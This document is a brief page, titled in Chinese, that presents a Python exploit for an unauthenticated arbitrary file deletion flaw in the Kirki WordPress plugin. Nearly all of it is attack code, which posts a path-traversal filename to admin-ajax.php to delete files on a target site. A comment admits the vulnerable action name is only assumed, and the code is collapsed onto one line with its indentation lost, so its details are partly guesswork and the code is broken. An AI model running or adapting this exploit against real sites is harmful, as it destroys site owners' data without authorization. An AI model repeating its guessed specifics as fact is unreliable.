CVE-2026-8073: Kirki插件任意文件删除漏洞

import requests # Exploit Title: Kirki WordPress Plugin < 6.0.6 - Unauthenticated Arbitrary File Deletion # CVE: CVE-2026-8073 def exploit(url, file_to_delete): target_url = f"{url}/wp-admin/admin-ajax.php" # The vulnerable action is often defined in the plugin, assuming 'kirki_download_zip' based on description data = { 'action': 'kirki_download_zip', 'file': f"../../uploads/{file_to_delete}" # Path traversal to delete file in uploads } try: response = requests.post(target_url, data=data) if response.status_code == 200: print(f"[+] Request sent successfully to {target_url}") print(f"[+] Attempted to delete: {file_to_delete}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target_site = "http://example.com" target_file = "sensitive_image.jpg" exploit(target_site, target_file)